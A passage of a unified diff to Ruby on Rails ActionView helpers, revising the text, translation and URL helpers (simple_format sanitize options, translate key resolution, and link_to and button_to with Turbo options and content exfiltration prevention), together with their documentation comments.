+      # Two or more consecutive newlines (<tt>\n\n</tt> or <tt>\r\n\r\n</tt>) are
       # considered a paragraph and wrapped in <tt><p></tt> tags. One newline
       # (<tt>\n</tt> or <tt>\r\n</tt>) is considered a linebreak and a
       # <tt><br /></tt> tag is appended. This method does not remove the
@@ -273,7 +352,8 @@ def word_wrap(text, line_width: 80, break_sequence: "\n")
       #
       # ==== Options
       # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
-      # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
+      # * <tt>:sanitize_options</tt> - Any extra options you want appended to the sanitize.
+      # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>.
       #
       # ==== Examples
       #   my_text = "Here is some basic text...\n...with a line break."
@@ -297,10 +377,13 @@ def word_wrap(text, line_width: 80, break_sequence: "\n")
       #
       #   simple_format("<blink>Blinkable!</blink> It's true.", {}, sanitize: false)
       #   # => "<p><blink>Blinkable!</blink> It's true.</p>"
+      #
+      #   simple_format("<a target=\"_blank\" href=\"http://example.com\">Continue</a>", {}, { sanitize_options: { attributes: %w[target href] } })
+      #   # => "<p><a target=\"_blank\" href=\"http://example.com\">Continue</a></p>"
       def simple_format(text, html_options = {}, options = {})
-        wrapper_tag = options.fetch(:wrapper_tag, :p)
+        wrapper_tag = options[:wrapper_tag] || "p"
 
-        text = sanitize(text) if options.fetch(:sanitize, true)
+        text = sanitize(text, options.fetch(:sanitize_options, {})) if options.fetch(:sanitize, true)
         paragraphs = split_paragraphs(text)
 
         if paragraphs.empty?
@@ -312,7 +395,7 @@ def simple_format(text, html_options = {}, options = {})
         end
       end
 
-      # Creates a Cycle object whose _to_s_ method cycles through elements of an
+      # Creates a Cycle object whose +to_s+ method cycles through elements of an
       # array every time it is called. This can be used for example, to alternate
       # classes for table rows. You can use named cycles to allow nesting in loops.
       # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a
@@ -321,8 +404,8 @@ def simple_format(text, html_options = {}, options = {})
       # and passing the name of the cycle. The current cycle string can be obtained
       # anytime using the current_cycle method.
       #
-      #   # Alternate CSS classes for even and odd numbers...
-      #   @items = [1,2,3,4]
+      #   <%# Alternate CSS classes for even and odd numbers... %>
+      #   <% @items = [1,2,3,4] %>
       #   <table>
       #   <% @items.each do |item| %>
       #     <tr class="<%= cycle("odd", "even") -%>">
@@ -332,10 +415,12 @@ def simple_format(text, html_options = {}, options = {})
       #   </table>
       #
       #
-      #   # Cycle CSS classes for rows, and text colors for values within each row
-      #   @items = x = [{first: 'Robert', middle: 'Daniel', last: 'James'},
-      #                {first: 'Emily', middle: 'Shannon', maiden: 'Pike', last: 'Hicks'},
-      #               {first: 'June', middle: 'Dae', last: 'Jones'}]
+      #   <%# Cycle CSS classes for rows, and text colors for values within each row %>
+      #   <% @items = [
+      #     { first: "Robert", middle: "Daniel", last: "James" },
+      #     { first: "Emily", middle: "Shannon", maiden: "Pike", last: "Hicks" },
+      #     { first: "June", middle: "Dae", last: "Jones" },
+      #   ] %>
       #   <% @items.each do |item| %>
       #     <tr class="<%= cycle("odd", "even", name: "row_class") -%>">
       #       <td>
@@ -366,8 +451,8 @@ def cycle(first_value, *values)
       # for complex table highlighting or any other design need which requires
       # the current cycle string in more than one place.
       #
-      #   # Alternate background colors
-      #   @items = [1,2,3,4]
+      #   <%# Alternate background colors %>
+      #   <% @items = [1,2,3,4] %>
       #   <% @items.each do |item| %>
       #     <div style="background-color:<%= cycle("red","white","blue") %>">
       #       <span style="background-color:<%= current_cycle %>"><%= item %></span>
@@ -381,8 +466,8 @@ def current_cycle(name = "default")
       # Resets a cycle so that it starts from the first element the next time
       # it is called. Pass in +name+ to reset a named cycle.
       #
-      #   # Alternate CSS classes for even and odd numbers...
-      #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
+      #   <%# Alternate CSS classes for even and odd numbers... %>
+      #   <% @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]] %>
       #   <table>
       #   <% @items.each do |item| %>
       #     <tr class="<%= cycle("even", "odd") -%>">
@@ -401,7 +486,7 @@ def reset_cycle(name = "default")
         cycle.reset if cycle
       end
 
-      class Cycle #:nodoc:
+      class Cycle # :nodoc:
         attr_reader :values
 
         def initialize(first_value, *values)
@@ -420,11 +505,10 @@ def current_value
         def to_s
           value = @values[@index].to_s
           @index = next_index
-          return value
+          value
         end
 
         private
-
           def next_index
             step_index(1)
           end
@@ -444,7 +528,7 @@ def step_index(n)
         # uses an instance variable of ActionView::Base.
         def get_cycle(name)
           @_cycles = Hash.new unless defined?(@_cycles)
-          return @_cycles[name]
+          @_cycles[name]
         end
 
         def set_cycle(name, cycle_object)
@@ -466,18 +550,25 @@ def cut_excerpt_part(part_position, part, separator, options)
           radius   = options.fetch(:radius, 100)
           omission = options.fetch(:omission, "...")
 
-          part = part.split(separator)
-          part.delete("")
-          affix = part.size > radius ? omission : ""
+          if separator != ""
+            part = part.split(separator)
+            part.delete("")
+          end
+
+          affix = part.length > radius ? omission : ""
+
+          part =
+            if part_position == :first
+              part.last(radius)
+            else
+              part.first(radius)
+            end
 
-          part = if part_position == :first
-            drop_index = [part.length - radius, 0].max
-            part.drop(drop_index)
-          else
-            part.first(radius)
+          if separator != ""
+            part = part.join(separator)
           end
 
-          return affix, part.join(separator)
+          return affix, part
         end
     end
   end
diff --git a/actionview/lib/action_view/helpers/translation_helper.rb b/actionview/lib/action_view/helpers/translation_helper.rb
index 47ed41a129260..9b49be0dcf496 100644
--- a/actionview/lib/action_view/helpers/translation_helper.rb
+++ b/actionview/lib/action_view/helpers/translation_helper.rb
@@ -1,18 +1,21 @@
+# frozen_string_literal: true
+
 require "action_view/helpers/tag_helper"
-require "active_support/core_ext/string/access"
-require "i18n/exceptions"
+require "active_support/html_safe_translation"
 
 module ActionView
-  # = Action View Translation Helpers
-  module Helpers
+  module Helpers # :nodoc:
+    # = Action View Translation \Helpers
     module TranslationHelper
       extend ActiveSupport::Concern
 
       include TagHelper
 
+      # Specify whether an error should be raised for missing translations.
+      singleton_class.attr_accessor :raise_on_missing_translations
+
       included do
-        mattr_accessor :debug_missing_translation
-        self.debug_missing_translation = true
+        mattr_accessor :debug_missing_translation, default: true
       end
 
       # Delegates to <tt>I18n#translate</tt> but also performs three additional
@@ -37,7 +40,7 @@ module TranslationHelper
       #
       # If you would prefer missing translations to raise an error, you can
       # opt out of span-wrapping behavior globally by setting
-      # <tt>ActionView::Base.raise_on_missing_translations = true</tt> or
+      # <tt>config.i18n.raise_on_missing_translations = true</tt> or
       # individually by passing <tt>raise: true</tt> as an option to
       # <tt>translate</tt>.
       #
@@ -56,74 +59,78 @@ module TranslationHelper
       # that include HTML tags so that you know what kind of output to expect
       # when you call translate in a template and translators know which keys
       # they can provide HTML values for.
-      def translate(key, options = {})
-        options = options.dup
-        has_default = options.has_key?(:default)
-        remaining_defaults = Array(options.delete(:default)).compact
+      #
+      # To access the translated text along with the fully resolved
+      # translation key, <tt>translate</tt> accepts a block:
+      #
+      #     <%= translate(".relative_key") do |translation, resolved_key| %>
+      #       <span title="<%= resolved_key %>"><%= translation %></span>
+      #     <% end %>
+      #
+      # This enables annotate translated text to be aware of the scope it was
+      # resolved against.
+      #
+      def translate(key, **options)
+        return key.map { |k| translate(k, **options) } if key.is_a?(Array)
+        key = key&.to_s unless key.is_a?(Symbol)
 
-        if has_default && !remaining_defaults.first.kind_of?(Symbol)
-          options[:default] = remaining_defaults
+        alternatives = if options.key?(:default)
+          options[:default].is_a?(Array) ? options.delete(:default).compact : [options.delete(:default)]
         end
 
-        # If the user has explicitly decided to NOT raise errors, pass that option to I18n.
-        # Otherwise, tell I18n to raise an exception, which we rescue further in this method.
-        # Note: `raise_error` refers to us re-raising the error in this method. I18n is forced to raise by default.
-        if options[:raise] == false
-          raise_error = false
-          i18n_raise = false
-        else
-          raise_error = options[:raise] || ActionView::Base.raise_on_missing_translations
-          i18n_raise = true
-        end
+        options[:raise] = true if options[:raise].nil? && TranslationHelper.raise_on_missing_translations
+        default = MISSING_TRANSLATION
 
-        if html_safe_translation_key?(key)
-          html_safe_options = options.dup
-          options.except(*I18n::RESERVED_KEYS).each do |name, value|
-            unless name == :count && value.is_a?(Numeric)
-              html_safe_options[name] = ERB::Util.html_escape(value.to_s)
-            end
+        translation = while key || alternatives.present?
+          if alternatives.blank? && !options[:raise].nil?
+            default = NO_DEFAULT # let I18n handle missing translation
           end
-          translation = I18n.translate(scope_key_by_partial(key), html_safe_options.merge(raise: i18n_raise))
 
-          translation.respond_to?(:html_safe) ? translation.html_safe : translation
-        else
-          I18n.translate(scope_key_by_partial(key), options.merge(raise: i18n_raise))
-        end
-      rescue I18n::MissingTranslationData => e
-        if remaining_defaults.present?
-          translate remaining_defaults.shift, options.merge(default: remaining_defaults)
-        else
-          raise e if raise_error
-
-          keys = I18n.normalize_keys(e.locale, e.key, e.options[:scope])
-          title = "translation missing: #{keys.join('.')}"
-
-          interpolations = options.except(:default, :scope)
-          if interpolations.any?
-            title << ", " << interpolations.map { |k, v| "#{k}: #{ERB::Util.html_escape(v)}" }.join(", ")
+          key = scope_key_by_partial(key)
+
+          translated = ActiveSupport::HtmlSafeTranslation.translate(key, **options, default: default)
+
+          break translated unless translated == MISSING_TRANSLATION
+
+          if alternatives.present? && !alternatives.first.is_a?(Symbol)
+            break alternatives.first && I18n.translate(nil, **options, default: alternatives)
           end
 
-          return title unless ActionView::Base.debug_missing_translation
+          first_key ||= key
+          key = alternatives&.shift
+        end
 
-          content_tag("span", keys.last.to_s.titleize, class: "translation_missing", title: title)
+        if key.nil? && !first_key.nil?
+          translation = missing_translation(first_key, options)
+          key = first_key
         end
+
+        block_given? ? yield(translation, key) : translation
       end
       alias :t :translate
 
       # Delegates to <tt>I18n.localize</tt> with no additional functionality.
       #
-      # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
+      # See https://www.rubydoc.info/gems/i18n/I18n/Backend/Base:localize
       # for more information.
-      def localize(*args)
-        I18n.localize(*args)
+      def localize(object, **options)
+        I18n.localize(object, **options)
       end
       alias :l :localize
 
       private
+        MISSING_TRANSLATION = -(2**60)
+        private_constant :MISSING_TRANSLATION
+
+        NO_DEFAULT = [].freeze
+        private_constant :NO_DEFAULT
+
         def scope_key_by_partial(key)
-          if key.to_s.first == "."
+          if key&.start_with?(".")
             if @virtual_path
-              @virtual_path.gsub(%r{/_?}, ".") + key.to_s
+              @_scope_key_by_partial_cache ||= {}
+              @_scope_key_by_partial_cache[@virtual_path] ||= @virtual_path.gsub(%r{/_?}, ".")
+              "#{@_scope_key_by_partial_cache[@virtual_path]}#{key}"
             else
               raise "Cannot use t(#{key.inspect}) shortcut because path is not available"
             end
@@ -132,8 +139,27 @@ def scope_key_by_partial(key)
           end
         end
 
-        def html_safe_translation_key?(key)
-          /(\b|_|\.)html$/.match?(key.to_s)
+        def missing_translation(key, options)
+          locale = options[:locale] || I18n.locale
+
+          i18n_exception = I18n::MissingTranslation.new(locale, key, options)
+          I18n.exception_handler.call(i18n_exception, locale, key, options)
+
+          keys = I18n.normalize_keys(locale, key, options[:scope])
+
+          title = +"translation missing: #{keys.join(".")}"
+
+          options.each do |name, value|
+            unless name == :scope
+              title << ", " << name.to_s << ": " << ERB::Util.html_escape(value)
+            end
+          end
+
+          if ActionView::Base.debug_missing_translation
+            content_tag("span", keys.last.to_s.titleize, class: "translation_missing", title: title)
+          else
+            title
+          end
         end
     end
   end
diff --git a/actionview/lib/action_view/helpers/url_helper.rb b/actionview/lib/action_view/helpers/url_helper.rb
index a306903c60731..f305c11a275ad 100644
--- a/actionview/lib/action_view/helpers/url_helper.rb
+++ b/actionview/lib/action_view/helpers/url_helper.rb
@@ -1,11 +1,15 @@
-require "action_view/helpers/javascript_helper"
+# frozen_string_literal: true
+
 require "active_support/core_ext/array/access"
 require "active_support/core_ext/hash/keys"
 require "active_support/core_ext/string/output_safety"
+require "action_view/helpers/content_exfiltration_prevention_helper"
+require "action_view/helpers/tag_helper"
 
 module ActionView
-  # = Action View URL Helpers
-  module Helpers #:nodoc:
+  module Helpers # :nodoc:
+    # = Action View URL \Helpers
+    #
     # Provides a set of methods for making links and getting URLs that
     # depend on the routing subsystem (see ActionDispatch::Routing).
     # This allows you to use the same format for links in views
@@ -20,6 +24,7 @@ module UrlHelper
       extend ActiveSupport::Concern
 
       include TagHelper
+      include ContentExfiltrationPreventionHelper
 
       module ClassMethods
         def _url_for_modules
@@ -27,6 +32,8 @@ def _url_for_modules
         end
       end
 
+      mattr_accessor :button_to_generates_button_tag, default: false
+
       # Basic implementation of url_for to allow use helpers without routes existence
       def url_for(options = nil) # :nodoc:
         case options
@@ -43,7 +50,7 @@ def url_for(options = nil) # :nodoc:
       def _back_url # :nodoc:
         _filtered_referrer || "javascript:history.back()"
       end
-      protected :_back_url
+      private :_back_url
 
       def _filtered_referrer # :nodoc:
         if controller.respond_to?(:request)
@@ -54,12 +61,12 @@ def _filtered_referrer # :nodoc:
         end
       rescue URI::InvalidURIError
       end
-      protected :_filtered_referrer
+      private :_filtered_referrer
 
       # Creates an anchor element of the given +name+ using a URL created by the set of +options+.
       # See the valid options in the documentation for +url_for+. It's also possible to
-      # pass a String instead of an options hash, which generates an anchor element that uses the
-      # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead
+      # pass a \String instead of an options hash, which generates an anchor element that uses the
+      # value of the \String as the href for the link. Using a <tt>:back</tt> \Symbol instead
       # of an options hash will generate a link to the referrer (a JavaScript back link
       # will be used in place of a referrer if none exists). If +nil+ is passed as the name
       # the value of the link itself will become the name.
@@ -81,37 +88,15 @@ def _filtered_referrer # :nodoc:
       #     # name
       #   end
       #
+      #   link_to(active_record_model)
+      #
       # ==== Options
       # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>method: symbol of HTTP verb</tt> - This modifier will dynamically
-      #   create an HTML form and immediately submit the form for processing using
-      #   the HTTP verb specified. Useful for having links perform a POST operation
-      #   in dangerous actions like deleting a record (which search bots can follow
-      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
-      #   Note that if the user has JavaScript disabled, the request will fall back
-      #   to using GET. If <tt>href: '#'</tt> is used and the user has JavaScript
-      #   disabled clicking the link will have no effect. If you are relying on the
-      #   POST behavior, you should check for it in your controller's action by using
-      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>patch?</tt>, or <tt>put?</tt>.
-      # * <tt>remote: true</tt> - This will allow the unobtrusive JavaScript
-      #   driver to make an Ajax request to the URL in question instead of following
-      #   the link. The drivers each provide mechanisms for listening for the
-      #   completion of the Ajax request and performing JavaScript operations once
-      #   they're complete
-      #
-      # ==== Data attributes
-      #
-      # * <tt>confirm: 'question?'</tt> - This will allow the unobtrusive JavaScript
-      #   driver to prompt with the question specified (in this case, the
-      #   resulting text would be <tt>question?</tt>. If the user accepts, the
-      #   link is processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be used as the
-      #   name for a disabled version of the link. This feature is provided by
-      #   the unobtrusive JavaScript driver.
       #
       # ==== Examples
+      #
       # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
-      # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
+      # and newer RESTful routes. Current \Rails style favors RESTful routes whenever possible, so base
       # your application on resources and use
       #
       #   link_to "Profile", profile_path(@profile)
@@ -137,6 +122,17 @@ def _filtered_referrer # :nodoc:
       #   link_to "Profiles", controller: "profiles"
       #   # => <a href="/profiles">Profiles</a>
       #
+      # When name is +nil+ the href is presented instead
+      #
+      #   link_to nil, "http://example.com"
+      #   # => <a href="http://www.example.com">http://www.example.com</a>
+      #
+      # More concise yet, when +name+ is an Active Record model that defines a
+      # +to_s+ method returning a default value or a model instance attribute
+      #
+      #   link_to @profile
+      #   # => <a href="http://www.example.com/profiles/1">Eileen</a>
+      #
       # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
       #
       #   <%= link_to(@profile) do %>
@@ -170,85 +166,109 @@ def _filtered_referrer # :nodoc:
       #   # => <a href="/searches?query=ruby+on+rails">Ruby on Rails search</a>
       #
       #   link_to "Nonsense search", searches_path(foo: "bar", baz: "quux")
-      #   # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
+      #   # => <a href="/searches?foo=bar&baz=quux">Nonsense search</a>
       #
-      # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
+      # You can set any link attributes such as <tt>target</tt>, <tt>rel</tt>, <tt>type</tt>:
       #
-      #   link_to("Destroy", "http://www.example.com", method: :delete)
-      #   # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
+      #   link_to "External link", "http://www.rubyonrails.org/", target: "_blank", rel: "nofollow"
+      #   # => <a href="http://www.rubyonrails.org/" target="_blank" rel="nofollow">External link</a>
       #
-      # You can also use custom data attributes using the <tt>:data</tt> option:
+      # ==== Turbo
       #
-      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", data: { confirm: "Are you sure?" }
-      #   # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?">Visit Other Site</a>
+      # Rails 7 ships with Turbo enabled by default. Turbo provides the following +:data+ options:
       #
-      # Also you can set any link attributes such as <tt>target</tt>, <tt>rel</tt>, <tt>type</tt>:
+      # * <tt>turbo_method: symbol of HTTP verb</tt> - Performs a Turbo link visit
+      #   with the given HTTP verb. Forms are recommended when performing non-+GET+ requests.
+      #   Only use <tt>data-turbo-method</tt> where a form is not possible.
+      #
+      # * <tt>turbo_confirm: "question?"</tt> - Adds a confirmation dialog to the link with the
+      #   given value.
+      #
+      # {Consult the Turbo Handbook for more information on the options
+      # above.}[https://turbo.hotwired.dev/handbook/drive#performing-visits-with-a-different-method]
+      #
+      # ===== \Examples
+      #
+      #   link_to "Delete profile", @profile, data: { turbo_method: :delete }
+      #   # => <a href="/profiles/1" data-turbo-method="delete">Delete profile</a>
+      #
+      #   link_to "Visit Other Site", "https://rubyonrails.org/", data: { turbo_confirm: "Are you sure?" }
+      #   # => <a href="https://rubyonrails.org/" data-turbo-confirm="Are you sure?">Visit Other Site</a>
       #
-      #   link_to "External link", "http://www.rubyonrails.org/", target: "_blank", rel: "nofollow"
-      #   # => <a href="http://www.rubyonrails.org/" target="_blank" rel="nofollow">External link</a>
       def link_to(name = nil, options = nil, html_options = nil, &block)
         html_options, options, name = options, name, block if block_given?
         options ||= {}
 
         html_options = convert_options_to_data_attributes(options, html_options)
 
-        url = url_for(options)
-        html_options["href".freeze] ||= url
+        url = url_target(name, options)
+        html_options["href"] ||= url
 
-        content_tag("a".freeze, name || url, html_options, &block)
+        content_tag("a", name || url, html_options, &block)
       end
 
       # Generates a form containing a single button that submits to the URL created
       # by the set of +options+. This is the safest method to ensure links that
       # cause changes to your data are not triggered by search bots or accelerators.
-      # If the HTML button does not work with your layout, you can also consider
-      # using the +link_to+ method with the <tt>:method</tt> modifier as described in
-      # the +link_to+ documentation.
-      #
-      # By default, the generated form element has a class name of <tt>button_to</tt>
-      # to allow styling of the form itself and its children. This can be changed
-      # using the <tt>:form_class</tt> modifier within +html_options+. You can control
-      # the form submission and input element behavior using +html_options+.
-      # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
-      # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
-      # You can also disable the button by passing <tt>disabled: true</tt> in +html_options+.
-      # If you are using RESTful routes, you can pass the <tt>:method</tt>
-      # to change the HTTP verb used to submit the form.
+      #
+      # You can control the form and button behavior with +html_options+. Most
+      # values in +html_options+ are passed through to the button element. For
+      # example, passing a +:class+ option within +html_options+ will set the
+      # class attribute of the button element.
+      #
+      # The class attribute of the form element can be set by passing a
+      # +:form_class+ option within +html_options+. It defaults to
+      # <tt>"button_to"</tt> to allow styling of the form and its children.
+      #
+      # The form submits a POST request by default if the object is not persisted;
+      # conversely, if the object is persisted, it will submit a PATCH request.
+      # To specify a different HTTP verb use the +:method+ option within +html_options+.
+      #
+      # If the HTML button generated from +button_to+ does not work with your layout, you can
+      # consider using the +link_to+ method with the +data-turbo-method+
+      # attribute as described in the +link_to+ documentation.
       #
       # ==== Options
-      # The +options+ hash accepts the same options as +url_for+.
+      # The +options+ hash accepts the same options as +url_for+. To generate a
+      # <tt><form></tt> element without an <tt>[action]</tt> attribute, pass
+      # <tt>false</tt>:
       #
-      # There are a few special +html_options+:
-      # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
+      #   <%= button_to "New", false %>
+      #   # => "<form method="post" class="button_to">
+      #   #      <button type="submit">New</button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #    </form>"
+      #
+      # Most values in +html_options+ are passed through to the button element,
+      # but there are a few special options:
+      #
+      # * <tt>:method</tt> - \Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
       #   <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
       # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
       # * <tt>:data</tt> - This option can be used to add custom data attributes.
-      # * <tt>:remote</tt> -  If set to true, will allow the Unobtrusive JavaScript drivers to control the
-      #   submit behavior. By default this behavior is an ajax submit.
       # * <tt>:form</tt> - This hash will be form attributes
       # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
       #   be placed
-      # * <tt>:params</tt> - Hash of parameters to be rendered as hidden fields within the form.
-      #
-      # ==== Data attributes
-      #
-      # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
-      #   prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
-      # * <tt>:disable_with</tt> - Value of this parameter will be
-      #   used as the value for a disabled version of the submit
-      #   button when the form is submitted. This feature is provided
-      #   by the unobtrusive JavaScript driver.
+      # * <tt>:params</tt> - \Hash of parameters to be rendered as hidden fields within the form.
       #
       # ==== Examples
       #   <%= button_to "New", action: "new" %>
       #   # => "<form method="post" action="/controller/new" class="button_to">
-      #   #      <input value="New" type="submit" />
+      #   #      <button type="submit">New</button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6" autocomplete="off"/>
       #   #    </form>"
       #
-      #   <%= button_to "New", new_articles_path %>
+      #   <%= button_to "New", new_article_path %>
       #   # => "<form method="post" action="/articles/new" class="button_to">
-      #   #      <input value="New" type="submit" />
+      #   #      <button type="submit">New</button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6" autocomplete="off"/>
+      #   #    </form>"
+      #
+      #   <%= button_to "New", new_article_path, params: { time: Time.now  } %>
+      #   # => "<form method="post" action="/articles/new" class="button_to">
+      #   #      <button type="submit">New</button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #      <input type="hidden" name="time" value="2021-04-08 14:06:09 -0500" autocomplete="off">
       #   #    </form>"
       #
       #   <%= button_to [:make_happy, @user] do %>
@@ -258,50 +278,39 @@ def link_to(name = nil, options = nil, html_options = nil, &block)
       #   #      <button type="submit">
       #   #        Make happy <strong><%= @user.name %></strong>
       #   #      </button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"  autocomplete="off"/>
       #   #    </form>"
       #
       #   <%= button_to "New", { action: "new" }, form_class: "new-thing" %>
       #   # => "<form method="post" action="/controller/new" class="new-thing">
-      #   #      <input value="New" type="submit" />
-      #   #    </form>"
-      #
-      #
-      #   <%= button_to "Create", { action: "create" }, remote: true, form: { "data-type" => "json" } %>
-      #   # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
-      #   #      <input value="Create" type="submit" />
-      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #      <button type="submit">New</button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"  autocomplete="off"/>
       #   #    </form>"
       #
-      #
-      #   <%= button_to "Delete Image", { action: "delete", id: @image.id },
-      #                                   method: :delete, data: { confirm: "Are you sure?" } %>
-      #   # => "<form method="post" action="/images/delete/1" class="button_to">
-      #   #      <input type="hidden" name="_method" value="delete" />
-      #   #      <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
-      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   <%= button_to "Create", { action: "create" }, form: { "data-type" => "json" } %>
+      #   # => "<form method="post" action="/images/create" class="button_to" data-type="json">
+      #   #      <button type="submit">Create</button>
+      #   #      <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"  autocomplete="off"/>
       #   #    </form>"
       #
-      #
-      #   <%= button_to('Destroy', 'http://www.example.com',
-      #             method: "delete", remote: true, data: { confirm: 'Are you sure?', disable_with: 'loading...' }) %>
-      #   # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
-      #   #       <input name='_method' value='delete' type='hidden' />
-      #   #       <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
-      #   #       <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
-      #   #     </form>"
-      #   #
       def button_to(name = nil, options = nil, html_options = nil, &block)
         html_options, options = options, name if block_given?
-        options      ||= {}
         html_options ||= {}
         html_options = html_options.stringify_keys
 
-        url    = options.is_a?(String) ? options : url_for(options)
+        url =
+          case options
+          when FalseClass then nil
+          else url_for(options)
+          end
+
         remote = html_options.delete("remote")
         params = html_options.delete("params")
 
-        method     = html_options.delete("method").to_s
-        method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : "".freeze.html_safe
+        authenticity_token = html_options.delete("authenticity_token")
+
+        method     = (html_options.delete("method").presence || method_for_options(options)).to_s
+        method_tag = BUTTON_TAG_METHOD_VERBS.include?(method) ? method_tag(method) : "".html_safe
 
         form_method  = method == "get" ? "get" : "post"
         form_options = html_options.delete("form") || {}
@@ -312,9 +321,9 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
 
         request_token_tag = if form_method == "post"
           request_method = method.empty? ? "post" : method
-          token_tag(nil, form_options: { action: url, method: request_method })
+          token_tag(authenticity_token, form_options: { action: url, method: request_method })
         else
-          "".freeze
+          ""
         end
 
         html_options = convert_options_to_data_attributes(options, html_options)
@@ -322,6 +331,8 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
 
         button = if block_given?
           content_tag("button", html_options, &block)
+        elsif button_to_generates_button_tag
+          content_tag("button", name || url, html_options, &block)
         else
           html_options["value"] = name || url
           tag("input", html_options)
@@ -330,10 +341,13 @@ def button_to(name = nil, options = nil, html_options = nil, &block)
         inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
         if params
           to_form_params(params).each do |param|
-            inner_tags.safe_concat tag(:input, type: "hidden", name: param[:name], value: param[:value])
+            options = { type: "hidden", name: param[:name], value: param[:value] }
+            options[:autocomplete] = "off" unless ActionView::Base.remove_hidden_field_autocomplete
+            inner_tags.safe_concat tag(:input, **options)
           end
         end
-        content_tag("form", inner_tags, form_options)
+        html = content_tag("form", inner_tags, form_options)
+        prevent_content_exfiltration(html)
       end
 
       # Creates a link tag of the given +name+ using a URL created by the set of
@@ -405,8 +419,7 @@ def link_to_unless(condition, name, options = {}, html_options = {}, &block)
       # Creates a link tag of the given +name+ using a URL created by the set of
       # +options+ if +condition+ is true, otherwise only the name is
       # returned. To specialize the default behavior, you can pass a block that
-      # accepts the name or the full argument list for +link_to_unless+ (see the examples
-      # in +link_to_unless+).
+      # accepts the name or the full argument list for +link_to_if+.
       #
       # ==== Examples
       #   <%= link_to_if(@current_user.nil?, "Login", { controller: "sessions", action: "new" }) %>
@@ -446,10 +459,10 @@ def link_to_if(condition, name, options = {}, html_options = {}, &block)
       # * <tt>:body</tt> - Preset the body of the email.
       # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
       # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
-      # * <tt>:reply_to</tt> - Preset the Reply-To field of the email.
+      # * <tt>:reply_to</tt> - Preset the +Reply-To+ field of the email.
       #
       # ==== Obfuscation
-      # Prior to Rails 4.0, +mail_to+ provided options for encoding the address
+      # Prior to \Rails 4.0, +mail_to+ provided options for encoding the address
       # in order to hinder email harvesters.  To take advantage of these options,
       # install the +actionview-encoded_mail_to+ gem.
       #
@@ -460,9 +473,9 @@ def link_to_if(condition, name, options = {}, html_options = {}, &block)
       #   mail_to "me@domain.com", "My email"
       #   # => <a href="mailto:me@domain.com">My email</a>
       #
-      #   mail_to "me@domain.com", "My email", cc: "ccaddress@domain.com",
+      #   mail_to "me@domain.com", cc: "ccaddress@domain.com",
       #            subject: "This is an example email"
-      #   # => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">My email</a>
+      #   # => <a href="mailto:me@domain.com?cc=ccaddress@domain.com&subject=This%20is%20an%20example%20email">me@domain.com</a>
       #
       # You can use a block as well if your link target is hard to fit into the name parameter. ERB example:
       #
@@ -473,19 +486,19 @@ def link_to_if(condition, name, options = {}, html_options = {}, &block)
